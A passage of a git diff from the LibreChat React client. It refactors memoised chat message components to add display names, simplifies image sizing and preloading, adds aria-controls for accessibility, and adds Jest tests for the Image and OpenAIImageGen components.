+ onLoad={() => paintedUrls.add(absoluteImageUrl)}
+ className={cn(
+ 'relative block text-transparent',
+ hasDimensions
+ ? 'size-full object-contain'
+ : cn('h-auto w-auto max-w-full', IMAGE_MAX_H),
+ )}
/>
- {isLoaded && (
-
- )}
+
);
};
diff --git a/client/src/components/Chat/Messages/Content/Markdown.tsx b/client/src/components/Chat/Messages/Content/Markdown.tsx
index a763885d2f..1217869a2c 100644
--- a/client/src/components/Chat/Messages/Content/Markdown.tsx
+++ b/client/src/components/Chat/Messages/Content/Markdown.tsx
@@ -27,7 +27,7 @@ type TContentProps = {
isLatestMessage: boolean;
};
-const Markdown = memo(({ content = '', isLatestMessage }: TContentProps) => {
+const Markdown = memo(function Markdown({ content = '', isLatestMessage }: TContentProps) {
const LaTeXParsing = useRecoilValue
(store.LaTeXParsing);
const isInitializing = content === '';
@@ -106,5 +106,6 @@ const Markdown = memo(({ content = '', isLatestMessage }: TContentProps) => {
);
});
+Markdown.displayName = 'Markdown';
export default Markdown;
diff --git a/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx b/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx
index d647147151..1c5369955d 100644
--- a/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx
+++ b/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx
@@ -18,7 +18,10 @@ type TCodeProps = {
children: React.ReactNode;
};
-export const code: React.ElementType = memo(({ className, children }: TCodeProps) => {
+export const code: React.ElementType = memo(function MarkdownCode({
+ className,
+ children,
+}: TCodeProps) {
const canRunCode = useHasAccess({
permissionType: PermissionTypes.RUN_CODE,
permission: Permissions.USE,
@@ -62,8 +65,12 @@ export const code: React.ElementType = memo(({ className, children }: TCodeProps
);
}
});
+code.displayName = 'MarkdownCode';
-export const codeNoExecution: React.ElementType = memo(({ className, children }: TCodeProps) => {
+export const codeNoExecution: React.ElementType = memo(function MarkdownCodeNoExecution({
+ className,
+ children,
+}: TCodeProps) {
const match = /language-(\w+)/.exec(className ?? '');
const lang = match && match[1];
@@ -82,13 +89,14 @@ export const codeNoExecution: React.ElementType = memo(({ className, children }:
return ;
}
});
+codeNoExecution.displayName = 'MarkdownCodeNoExecution';
type TAnchorProps = {
href: string;
children: React.ReactNode;
};
-export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => {
+export const a: React.ElementType = memo(function MarkdownAnchor({ href, children }: TAnchorProps) {
const user = useRecoilValue(store.user);
const { showToast } = useToastContext();
const localize = useLocalize();
@@ -163,14 +171,16 @@ export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => {
);
});
+a.displayName = 'MarkdownAnchor';
type TParagraphProps = {
children: React.ReactNode;
};
-export const p: React.ElementType = memo(({ children }: TParagraphProps) => {
+export const p: React.ElementType = memo(function MarkdownParagraph({ children }: TParagraphProps) {
return {children}
;
});
+p.displayName = 'MarkdownParagraph';
type TImageProps = {
src?: string;
@@ -180,7 +190,13 @@ type TImageProps = {
style?: React.CSSProperties;
};
-export const img: React.ElementType = memo(({ src, alt, title, className, style }: TImageProps) => {
+export const img: React.ElementType = memo(function MarkdownImage({
+ src,
+ alt,
+ title,
+ className,
+ style,
+}: TImageProps) {
// Get the base URL from the API endpoints
const baseURL = apiBaseUrl();
@@ -199,3 +215,4 @@ export const img: React.ElementType = memo(({ src, alt, title, className, style
return ;
});
+img.displayName = 'MarkdownImage';
diff --git a/client/src/components/Chat/Messages/Content/MessageContent.tsx b/client/src/components/Chat/Messages/Content/MessageContent.tsx
index 7a823a07e9..0e2e7faa2c 100644
--- a/client/src/components/Chat/Messages/Content/MessageContent.tsx
+++ b/client/src/components/Chat/Messages/Content/MessageContent.tsx
@@ -185,4 +185,7 @@ const MessageContent = ({
);
};
-export default memo(MessageContent);
+const MemoizedMessageContent = memo(MessageContent);
+MemoizedMessageContent.displayName = 'MessageContent';
+
+export default MemoizedMessageContent;
diff --git a/client/src/components/Chat/Messages/Content/Part.tsx b/client/src/components/Chat/Messages/Content/Part.tsx
index f97d1343b9..7bce7ac11d 100644
--- a/client/src/components/Chat/Messages/Content/Part.tsx
+++ b/client/src/components/Chat/Messages/Content/Part.tsx
@@ -11,6 +11,7 @@ import type { TMessageContentParts, TAttachment } from 'librechat-data-provider'
import { OpenAIImageGen, EmptyText, Reasoning, ExecuteCode, AgentUpdate, Text } from './Parts';
import { ErrorMessage } from './MessageContent';
import RetrievalCall from './RetrievalCall';
+import { getCachedPreview } from '~/utils';
import AgentHandoff from './AgentHandoff';
import CodeAnalyze from './CodeAnalyze';
import Container from './Container';
@@ -28,212 +29,213 @@ type PartProps = {
attachments?: TAttachment[];
};
-const Part = memo(
- ({ part, isSubmitting, attachments, isLast, showCursor, isCreatedByUser }: PartProps) => {
- if (!part) {
+const Part = memo(function Part({
+ part,
+ isSubmitting,
+ attachments,
+ isLast,
+ showCursor,
+ isCreatedByUser,
+}: PartProps) {
+ if (!part) {
+ return null;
+ }
+
+ if (part.type === ContentTypes.ERROR) {
+ return (
+
+ );
+ } else if (part.type === ContentTypes.AGENT_UPDATE) {
+ return (
+ <>
+
+ {isLast && showCursor && (
+
+
+
+ )}
+ >
+ );
+ } else if (part.type === ContentTypes.TEXT) {
+ const text = typeof part.text === 'string' ? part.text : part.text?.value;
+
+ if (typeof text !== 'string') {
+ return null;
+ }
+ if (part.tool_call_ids != null && !text) {
+ return null;
+ }
+ /** Handle whitespace-only text to avoid layout shift */
+ if (text.length > 0 && /^\s*$/.test(text)) {
+ /** Show placeholder for whitespace-only last part during streaming */
+ if (isLast && showCursor) {
+ return (
+
+
+
+ );
+ }
+ /** Skip rendering non-last whitespace-only parts to avoid empty Container */
+ if (!isLast) {
+ return null;
+ }
+ }
+ return (
+
+
+
+ );
+ } else if (part.type === ContentTypes.THINK) {
+ const reasoning = typeof part.think === 'string' ? part.think : part.think?.value;
+ if (typeof reasoning !== 'string') {
+ return null;
+ }
+ return ;
+ } else if (part.type === ContentTypes.TOOL_CALL) {
+ const toolCall = part[ContentTypes.TOOL_CALL];
+
+ if (!toolCall) {
return null;
}
- if (part.type === ContentTypes.ERROR) {
+ const isToolCall =
+ 'args' in toolCall && (!toolCall.type || toolCall.type === ToolCallTypes.TOOL_CALL);
+ if (
+ isToolCall &&
+ (toolCall.name === Tools.execute_code ||
+ toolCall.name === Constants.PROGRAMMATIC_TOOL_CALLING)
+ ) {
return (
-
);
- } else if (part.type === ContentTypes.AGENT_UPDATE) {
+ } else if (
+ isToolCall &&
+ (toolCall.name === 'image_gen_oai' ||
+ toolCall.name === 'image_edit_oai' ||
+ toolCall.name === 'gemini_image_gen')
+ ) {
return (
- <>
-
- {isLast && showCursor && (
-
-
-
- )}
- >
+
);
- } else if (part.type === ContentTypes.TEXT) {
- const text = typeof part.text === 'string' ? part.text : part.text?.value;
-
- if (typeof text !== 'string') {
- return null;
- }
- if (part.tool_call_ids != null && !text) {
- return null;
- }
- /** Handle whitespace-only text to avoid layout shift */
- if (text.length > 0 && /^\s*$/.test(text)) {
- /** Show placeholder for whitespace-only last part during streaming */
- if (isLast && showCursor) {
+ } else if (isToolCall && toolCall.name === Tools.web_search) {
+ return (
+
+ );
+ } else if (isToolCall && toolCall.name?.startsWith(Constants.LC_TRANSFER_TO_)) {
+ return (
+
+ );
+ } else if (isToolCall) {
+ return (
+
+ );
+ } else if (toolCall.type === ToolCallTypes.CODE_INTERPRETER) {
+ const code_interpreter = toolCall[ToolCallTypes.CODE_INTERPRETER];
+ return (
+
+ );
+ } else if (
+ toolCall.type === ToolCallTypes.RETRIEVAL ||
+ toolCall.type === ToolCallTypes.FILE_SEARCH
+ ) {
+ return (
+
+ );
+ } else if (
+ toolCall.type === ToolCallTypes.FUNCTION &&
+ ToolCallTypes.FUNCTION in toolCall &&
+ imageGenTools.has(toolCall.function.name)
+ ) {
+ return (
+
+ );
+ } else if (toolCall.type === ToolCallTypes.FUNCTION && ToolCallTypes.FUNCTION in toolCall) {
+ if (isImageVisionTool(toolCall)) {
+ if (isSubmitting && showCursor) {
return (
-
+
);
}
- /** Skip rendering non-last whitespace-only parts to avoid empty Container */
- if (!isLast) {
- return null;
- }
- }
- return (
-
-
-
- );
- } else if (part.type === ContentTypes.THINK) {
- const reasoning = typeof part.think === 'string' ? part.think : part.think?.value;
- if (typeof reasoning !== 'string') {
- return null;
- }
- return ;
- } else if (part.type === ContentTypes.TOOL_CALL) {
- const toolCall = part[ContentTypes.TOOL_CALL];
-
- if (!toolCall) {
return null;
}
- const isToolCall =
- 'args' in toolCall && (!toolCall.type || toolCall.type === ToolCallTypes.TOOL_CALL);
- if (
- isToolCall &&
- (toolCall.name === Tools.execute_code ||
- toolCall.name === Constants.PROGRAMMATIC_TOOL_CALLING)
- ) {
- return (
-
- );
- } else if (
- isToolCall &&
- (toolCall.name === 'image_gen_oai' ||
- toolCall.name === 'image_edit_oai' ||
- toolCall.name === 'gemini_image_gen')
- ) {
- return (
-
- );
- } else if (isToolCall && toolCall.name === Tools.web_search) {
- return (
-
- );
- } else if (isToolCall && toolCall.name?.startsWith(Constants.LC_TRANSFER_TO_)) {
- return (
-
- );
- } else if (isToolCall) {
- return (
-
- );
- } else if (toolCall.type === ToolCallTypes.CODE_INTERPRETER) {
- const code_interpreter = toolCall[ToolCallTypes.CODE_INTERPRETER];
- return (
-
- );
- } else if (
- toolCall.type === ToolCallTypes.RETRIEVAL ||
- toolCall.type === ToolCallTypes.FILE_SEARCH
- ) {
- return (
-
- );
- } else if (
- toolCall.type === ToolCallTypes.FUNCTION &&
- ToolCallTypes.FUNCTION in toolCall &&
- imageGenTools.has(toolCall.function.name)
- ) {
- return (
-
- );
- } else if (toolCall.type === ToolCallTypes.FUNCTION && ToolCallTypes.FUNCTION in toolCall) {
- if (isImageVisionTool(toolCall)) {
- if (isSubmitting && showCursor) {
- return (
-
-
-
- );
- }
- return null;
- }
-
- return (
-
- );
- }
- } else if (part.type === ContentTypes.IMAGE_FILE) {
- const imageFile = part[ContentTypes.IMAGE_FILE];
- const height = imageFile.height ?? 1920;
- const width = imageFile.width ?? 1080;
return (
-
);
}
+ } else if (part.type === ContentTypes.IMAGE_FILE) {
+ const imageFile = part[ContentTypes.IMAGE_FILE];
+ const cached = imageFile.file_id ? getCachedPreview(imageFile.file_id) : undefined;
+ return (
+
+ );
+ }
- return null;
- },
-);
+ return null;
+});
+Part.displayName = 'Part';
export default Part;
diff --git a/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx b/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx
index b5d1e07cbf..31e30772dc 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx
@@ -76,8 +76,8 @@ const ImageAttachment = memo(({ attachment }: { attachment: TAttachment }) => {
diff --git a/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx b/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx
index 1b514164df..409461a058 100644
--- a/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx
@@ -1,8 +1,9 @@
import { memo } from 'react';
+/** Streaming cursor placeholder — no bottom margin to match Container's structure and prevent CLS */
const EmptyTextPart = memo(() => {
return (
-
+
diff --git a/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx b/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx
index da2a8f175e..a675ff06d8 100644
--- a/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx
@@ -12,11 +12,7 @@ interface LogContentProps {
attachments?: TAttachment[];
}
-type ImageAttachment = TFile &
- TAttachmentMetadata & {
- height: number;
- width: number;
- };
+type ImageAttachment = TFile & TAttachmentMetadata;
const LogContent: React.FC = ({ output = '', renderImages, attachments }) => {
const localize = useLocalize();
@@ -35,12 +31,8 @@ const LogContent: React.FC = ({ output = '', renderImages, atta
const nonImageAtts: TAttachment[] = [];
attachments?.forEach((attachment) => {
- const { width, height, filepath = null } = attachment as TFile & TAttachmentMetadata;
- const isImage =
- imageExtRegex.test(attachment.filename ?? '') &&
- width != null &&
- height != null &&
- filepath != null;
+ const { filepath = null } = attachment as TFile & TAttachmentMetadata;
+ const isImage = imageExtRegex.test(attachment.filename ?? '') && filepath != null;
if (isImage) {
imageAtts.push(attachment as ImageAttachment);
} else {
@@ -100,18 +92,15 @@ const LogContent: React.FC = ({ output = '', renderImages, atta
))}
)}
- {imageAttachments?.map((attachment, index) => {
- const { width, height, filepath } = attachment;
- return (
-
- );
- })}
+ {imageAttachments?.map((attachment) => (
+
+ ))}
>
);
};
diff --git a/client/src/components/Chat/Messages/Content/Parts/OpenAIImageGen/OpenAIImageGen.tsx b/client/src/components/Chat/Messages/Content/Parts/OpenAIImageGen/OpenAIImageGen.tsx
index aa1b07827b..bdce6d3209 100644
--- a/client/src/components/Chat/Messages/Content/Parts/OpenAIImageGen/OpenAIImageGen.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/OpenAIImageGen/OpenAIImageGen.tsx
@@ -1,9 +1,12 @@
-import { useState, useEffect, useRef, useCallback } from 'react';
+import { useState, useEffect, useRef } from 'react';
import { PixelCard } from '@librechat/client';
import type { TAttachment, TFile, TAttachmentMetadata } from 'librechat-data-provider';
import Image from '~/components/Chat/Messages/Content/Image';
import ProgressText from './ProgressText';
-import { scaleImage } from '~/utils';
+import { cn } from '~/utils';
+
+const IMAGE_MAX_H = 'max-h-[45vh]' as const;
+const IMAGE_FULL_H = 'h-[45vh]' as const;
export default function OpenAIImageGen({
initialProgress = 0.1,
@@ -28,8 +31,6 @@ export default function OpenAIImageGen({
const cancelled = (!isSubmitting && initialProgress < 1) || error === true;
- let width: number | undefined;
- let height: number | undefined;
let quality: 'low' | 'medium' | 'high' = 'high';
// Parse args if it's a string
@@ -41,62 +42,21 @@ export default function OpenAIImageGen({
parsedArgs = {};
}
- try {
- const argsObj = parsedArgs;
-
- if (argsObj && typeof argsObj.size === 'string') {
- const [w, h] = argsObj.size.split('x').map((v: string) => parseInt(v, 10));
- if (!isNaN(w) && !isNaN(h)) {
- width = w;
- height = h;
- }
- } else if (argsObj && (typeof argsObj.size !== 'string' || !argsObj.size)) {
- width = undefined;
- height = undefined;
+ if (parsedArgs && typeof parsedArgs.quality === 'string') {
+ const q = parsedArgs.quality.toLowerCase();
+ if (q === 'low' || q === 'medium' || q === 'high') {
+ quality = q;
}
-
- if (argsObj && typeof argsObj.quality === 'string') {
- const q = argsObj.quality.toLowerCase();
- if (q === 'low' || q === 'medium' || q === 'high') {
- quality = q;
- }
- }
- } catch (e) {
- width = undefined;
- height = undefined;
}
- // Default to 1024x1024 if width and height are still undefined after parsing args and attachment metadata
const attachment = attachments?.[0];
const {
- width: imageWidth,
- height: imageHeight,
filepath = null,
filename = '',
+ width: imgWidth,
+ height: imgHeight,
} = (attachment as TFile & TAttachmentMetadata) || {};
- let origWidth = width ?? imageWidth;
- let origHeight = height ?? imageHeight;
-
- if (origWidth === undefined || origHeight === undefined) {
- origWidth = 1024;
- origHeight = 1024;
- }
-
- const [dimensions, setDimensions] = useState({ width: 'auto', height: 'auto' });
- const containerRef = useRef
(null);
-
- const updateDimensions = useCallback(() => {
- if (origWidth && origHeight && containerRef.current) {
- const scaled = scaleImage({
- originalWidth: origWidth,
- originalHeight: origHeight,
- containerRef,
- });
- setDimensions(scaled);
- }
- }, [origWidth, origHeight]);
-
useEffect(() => {
if (isSubmitting) {
setProgress(initialProgress);
@@ -156,45 +116,21 @@ export default function OpenAIImageGen({
}
}, [initialProgress, cancelled]);
- useEffect(() => {
- updateDimensions();
-
- const resizeObserver = new ResizeObserver(() => {
- updateDimensions();
- });
-
- if (containerRef.current) {
- resizeObserver.observe(containerRef.current);
- }
-
- return () => {
- resizeObserver.disconnect();
- };
- }, [updateDimensions]);
-
return (
<>
-
-
- {dimensions.width !== 'auto' && progress < 1 && (
-
- )}
+
diff --git a/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx b/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx
index 85d1b00b4b..44d646fcd8 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx
@@ -1,4 +1,4 @@
-import { memo, useMemo, useState, useCallback, useRef } from 'react';
+import { memo, useMemo, useState, useCallback, useRef, useId } from 'react';
import { useAtom } from 'jotai';
import type { MouseEvent, FocusEvent } from 'react';
import { ContentTypes } from 'librechat-data-provider';
@@ -36,6 +36,7 @@ type ReasoningProps = {
* For legacy text-based messages, see Thinking.tsx component.
*/
const Reasoning = memo(({ reasoning, isLast }: ReasoningProps) => {
+ const contentId = useId();
const localize = useLocalize();
const [showThinking] = useAtom(showThinkingAtom);
const [isExpanded, setIsExpanded] = useState(showThinking);
@@ -104,9 +105,14 @@ const Reasoning = memo(({ reasoning, isLast }: ReasoningProps) => {
onClick={handleClick}
label={label}
content={reasoningText}
+ contentId={contentId}
/>
{
isExpanded={isExpanded}
onClick={handleClick}
content={reasoningText}
+ contentId={contentId}
/>
diff --git a/client/src/components/Chat/Messages/Content/Parts/Text.tsx b/client/src/components/Chat/Messages/Content/Parts/Text.tsx
index c926622c9d..aec8d949e0 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Text.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Text.tsx
@@ -17,7 +17,7 @@ type ContentType =
| ReactElement>
| ReactElement;
-const TextPart = memo(({ text, isCreatedByUser, showCursor }: TextPartProps) => {
+const TextPart = memo(function TextPart({ text, isCreatedByUser, showCursor }: TextPartProps) {
const { isSubmitting = false, isLatestMessage = false } = useMessageContext();
const enableUserMsgMarkdown = useRecoilValue(store.enableUserMsgMarkdown);
const showCursorState = useMemo(() => showCursor && isSubmitting, [showCursor, isSubmitting]);
@@ -46,5 +46,6 @@ const TextPart = memo(({ text, isCreatedByUser, showCursor }: TextPartProps) =>
);
});
+TextPart.displayName = 'TextPart';
export default TextPart;
diff --git a/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx b/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx
index 0c5992f4ab..7641738c15 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx
@@ -1,4 +1,4 @@
-import { useState, useMemo, memo, useCallback, useRef, type MouseEvent } from 'react';
+import { useState, useMemo, memo, useCallback, useRef, useId, type MouseEvent } from 'react';
import { useAtomValue } from 'jotai';
import { Clipboard, CheckMark, TooltipAnchor } from '@librechat/client';
import { Lightbulb, ChevronDown, ChevronUp } from 'lucide-react';
@@ -35,12 +35,14 @@ export const ThinkingButton = memo(
onClick,
label,
content,
+ contentId,
showCopyButton = true,
}: {
isExpanded: boolean;
onClick: (e: MouseEvent
) => void;
label: string;
content?: string;
+ contentId: string;
showCopyButton?: boolean;
}) => {
const localize = useLocalize();
@@ -66,6 +68,7 @@ export const ThinkingButton = memo(
type="button"
onClick={onClick}
aria-expanded={isExpanded}
+ aria-controls={contentId}
className={cn(
'group/button flex flex-1 items-center justify-start rounded-lg leading-[18px]',
fontSize,
@@ -132,11 +135,13 @@ export const FloatingThinkingBar = memo(
isExpanded,
onClick,
content,
+ contentId,
}: {
isVisible: boolean;
isExpanded: boolean;
onClick: (e: MouseEvent) => void;
content?: string;
+ contentId: string;
}) => {
const localize = useLocalize();
const [isCopied, setIsCopied] = useState(false);
@@ -176,6 +181,8 @@ export const FloatingThinkingBar = memo(
tabIndex={isVisible ? 0 : -1}
onClick={onClick}
aria-label={collapseTooltip}
+ aria-expanded={isExpanded}
+ aria-controls={contentId}
className={cn(
'flex items-center justify-center rounded-lg bg-surface-secondary p-1.5 text-text-secondary-alt shadow-sm',
'hover:bg-surface-hover hover:text-text-primary',
@@ -240,6 +247,7 @@ const Thinking: React.ElementType = memo(({ children }: { children: React.ReactN
const [isExpanded, setIsExpanded] = useState(showThinking);
const [isBarVisible, setIsBarVisible] = useState(false);
const containerRef = useRef(null);
+ const contentId = useId();
const handleClick = useCallback((e: MouseEvent) => {
e.preventDefault();
@@ -295,9 +303,14 @@ const Thinking: React.ElementType = memo(({ children }: { children: React.ReactN
onClick={handleClick}
label={label}
content={textContent}
+ contentId={contentId}
/>
@@ -322,4 +336,4 @@ ThinkingContent.displayName = 'ThinkingContent';
FloatingThinkingBar.displayName = 'FloatingThinkingBar';
Thinking.displayName = 'Thinking';
-export default memo(Thinking);
+export default Thinking;
diff --git a/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx b/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx
new file mode 100644
index 0000000000..e7e0b99f1e
--- /dev/null
+++ b/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx
@@ -0,0 +1,179 @@
+import React from 'react';
+import { render, screen, fireEvent } from '@testing-library/react';
+import Image, { _resetImageCaches } from '../Image';
+
+jest.mock('~/utils', () => ({
+ cn: (...classes: (string | boolean | undefined | null)[]) =>
+ classes
+ .flat(Infinity)
+ .filter((c): c is string => typeof c === 'string' && c.length > 0)
+ .join(' '),
+}));
+
+jest.mock('librechat-data-provider', () => ({
+ apiBaseUrl: () => '',
+}));
+
+jest.mock('@librechat/client', () => ({
+ Skeleton: ({ className, ...props }: React.HTMLAttributes) => (
+
+ ),
+}));
+
+jest.mock('../DialogImage', () => ({
+ __esModule: true,
+ default: ({ isOpen, src }: { isOpen: boolean; src: string }) =>
+ isOpen ?
: null,
+}));
+
+describe('Image', () => {
+ const defaultProps = {
+ imagePath: '/images/test.png',
+ altText: 'Test image',
+ };
+
+ beforeEach(() => {
+ _resetImageCaches();
+ jest.clearAllMocks();
+ });
+
+ describe('rendering without dimensions', () => {
+ it('renders with max-h-[45vh] height constraint', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img.className).toContain('max-h-[45vh]');
+ });
+
+ it('renders with max-w-full to prevent landscape clipping', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img.className).toContain('max-w-full');
+ });
+
+ it('renders with w-auto and h-auto for natural aspect ratio', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img.className).toContain('w-auto');
+ expect(img.className).toContain('h-auto');
+ });
+
+ it('does not show skeleton without dimensions', () => {
+ render( );
+ expect(screen.queryByTestId('skeleton')).not.toBeInTheDocument();
+ });
+
+ it('does not apply heightStyle without dimensions', () => {
+ render( );
+ const button = screen.getByRole('button');
+ expect(button.style.height).toBeFalsy();
+ });
+ });
+
+ describe('rendering with dimensions', () => {
+ it('shows skeleton behind image', () => {
+ render( );
+ expect(screen.getByTestId('skeleton')).toBeInTheDocument();
+ });
+
+ it('applies computed heightStyle to button', () => {
+ render( );
+ const button = screen.getByRole('button');
+ expect(button.style.height).toBeTruthy();
+ expect(button.style.height).toContain('min(45vh');
+ });
+
+ it('uses size-full object-contain on image when dimensions provided', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img.className).toContain('size-full');
+ expect(img.className).toContain('object-contain');
+ });
+
+ it('skeleton is absolute inset-0', () => {
+ render( );
+ const skeleton = screen.getByTestId('skeleton');
+ expect(skeleton.className).toContain('absolute');
+ expect(skeleton.className).toContain('inset-0');
+ });
+
+ it('marks URL as painted on load and skips skeleton on rerender', () => {
+ const { rerender } = render( );
+ const img = screen.getByRole('img');
+
+ expect(screen.getByTestId('skeleton')).toBeInTheDocument();
+
+ fireEvent.load(img);
+
+ // Rerender same component — skeleton should not show (URL painted)
+ rerender( );
+ expect(screen.queryByTestId('skeleton')).not.toBeInTheDocument();
+ });
+ });
+
+ describe('common behavior', () => {
+ it('applies custom className to the button wrapper', () => {
+ render( );
+ const button = screen.getByRole('button');
+ expect(button.className).toContain('mb-4');
+ });
+
+ it('sets correct alt text', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img).toHaveAttribute('alt', 'Test image');
+ });
+
+ it('has correct accessibility attributes on button', () => {
+ render( );
+ const button = screen.getByRole('button');
+ expect(button).toHaveAttribute('aria-label', 'View Test image in dialog');
+ expect(button).toHaveAttribute('aria-haspopup', 'dialog');
+ });
+ });
+
+ describe('dialog interaction', () => {
+ it('opens dialog on button click', () => {
+ render( );
+ expect(screen.queryByTestId('dialog-image')).not.toBeInTheDocument();
+
+ const button = screen.getByRole('button');
+ fireEvent.click(button);
+
+ expect(screen.getByTestId('dialog-image')).toBeInTheDocument();
+ });
+
+ it('dialog is always mounted (not gated by load state)', () => {
+ render( );
+ // DialogImage mock returns null when isOpen=false, but the component is in the tree
+ // Clicking should immediately show it
+ fireEvent.click(screen.getByRole('button'));
+ expect(screen.getByTestId('dialog-image')).toBeInTheDocument();
+ });
+ });
+
+ describe('image URL resolution', () => {
+ it('passes /images/ paths through with base URL', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img).toHaveAttribute('src', '/images/test.png');
+ });
+
+ it('passes absolute http URLs through unchanged', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img).toHaveAttribute('src', 'https://example.com/photo.jpg');
+ });
+
+ it('passes data URIs through unchanged', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img).toHaveAttribute('src', 'data:image/png;base64,abc');
+ });
+
+ it('passes non-/images/ paths through unchanged', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img).toHaveAttribute('src', '/other/path.png');
+ });
+ });
+});
diff --git a/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx b/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx
new file mode 100644
index 0000000000..ef8ac2807a
--- /dev/null
+++ b/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx
@@ -0,0 +1,182 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import OpenAIImageGen from '../Parts/OpenAIImageGen/OpenAIImageGen';
+
+jest.mock('~/utils', () => ({
+ cn: (...classes: (string | boolean | undefined | null)[]) =>
+ classes
+ .flat(Infinity)
+ .filter((c): c is string => typeof c === 'string' && c.length > 0)
+ .join(' '),
+}));
+
+jest.mock('~/hooks', () => ({
+ useLocalize: () => (key: string) => key,
+}));
+
+jest.mock('~/components/Chat/Messages/Content/Image', () => ({
+ __esModule: true,
+ default: ({
+ altText,
+ imagePath,
+ className,
+ }: {
+ altText: string;
+ imagePath: string;
+ className?: string;
+ }) => (
+
+ ),
+}));
+
+jest.mock('@librechat/client', () => ({
+ PixelCard: ({ progress }: { progress: number }) => (
+
+ ),
+}));
+
+jest.mock('../Parts/OpenAIImageGen/ProgressText', () => ({
+ __esModule: true,
+ default: ({ progress, error }: { progress: number; error: boolean }) => (
+
+ ),
+}));
+
+describe('OpenAIImageGen', () => {
+ const defaultProps = {
+ initialProgress: 0.1,
+ isSubmitting: true,
+ toolName: 'image_gen_oai',
+ args: '{"prompt":"a cat","quality":"high","size":"1024x1024"}',
+ output: null as string | null,
+ attachments: undefined,
+ };
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+ jest.useFakeTimers();
+ });
+
+ afterEach(() => {
+ jest.useRealTimers();
+ });
+
+ describe('image preloading', () => {
+ it('keeps Image mounted during generation (progress < 1)', () => {
+ render( );
+ expect(screen.getByTestId('image-component')).toBeInTheDocument();
+ });
+
+ it('hides Image with invisible absolute while progress < 1', () => {
+ render( );
+ const image = screen.getByTestId('image-component');
+ expect(image.className).toContain('invisible');
+ expect(image.className).toContain('absolute');
+ });
+
+ it('shows Image without hiding classes when progress >= 1', () => {
+ render(
+ ,
+ );
+ const image = screen.getByTestId('image-component');
+ expect(image.className).not.toContain('invisible');
+ expect(image.className).not.toContain('absolute');
+ });
+ });
+
+ describe('PixelCard visibility', () => {
+ it('shows PixelCard when progress < 1', () => {
+ render( );
+ expect(screen.getByTestId('pixel-card')).toBeInTheDocument();
+ });
+
+ it('hides PixelCard when progress >= 1', () => {
+ render( );
+ expect(screen.queryByTestId('pixel-card')).not.toBeInTheDocument();
+ });
+ });
+
+ describe('layout classes', () => {
+ it('applies max-h-[45vh] to the outer container', () => {
+ const { container } = render( );
+ const outerDiv = container.querySelector('[class*="max-h-"]');
+ expect(outerDiv?.className).toContain('max-h-[45vh]');
+ });
+
+ it('applies h-[45vh] w-full to inner container during loading', () => {
+ const { container } = render( );
+ const innerDiv = container.querySelector('[class*="h-[45vh]"]');
+ expect(innerDiv).not.toBeNull();
+ expect(innerDiv?.className).toContain('w-full');
+ });
+
+ it('applies w-auto to inner container when complete', () => {
+ const { container } = render(
+ ,
+ );
+ const overflowDiv = container.querySelector('[class*="overflow-hidden"]');
+ expect(overflowDiv?.className).toContain('w-auto');
+ });
+ });
+
+ describe('args parsing', () => {
+ it('parses quality from args', () => {
+ render( );
+ expect(screen.getByTestId('progress-text')).toBeInTheDocument();
+ });
+
+ it('handles invalid JSON args gracefully', () => {
+ const consoleSpy = jest.spyOn(console, 'error').mockImplementation();
+ render( );
+ expect(screen.getByTestId('image-component')).toBeInTheDocument();
+ consoleSpy.mockRestore();
+ });
+
+ it('handles object args', () => {
+ render(
+ ,
+ );
+ expect(screen.getByTestId('image-component')).toBeInTheDocument();
+ });
+ });
+
+ describe('cancellation', () => {
+ it('shows error state when output contains error', () => {
+ render(
+ ,
+ );
+ const progressText = screen.getByTestId('progress-text');
+ expect(progressText).toHaveAttribute('data-error', 'true');
+ });
+
+ it('shows cancelled state when not submitting and incomplete', () => {
+ render( );
+ const progressText = screen.getByTestId('progress-text');
+ expect(progressText).toHaveAttribute('data-error', 'true');
+ });
+ });
+});
diff --git a/client/src/components/Chat/Messages/HoverButtons.tsx b/client/src/components/Chat/Messages/HoverButtons.tsx
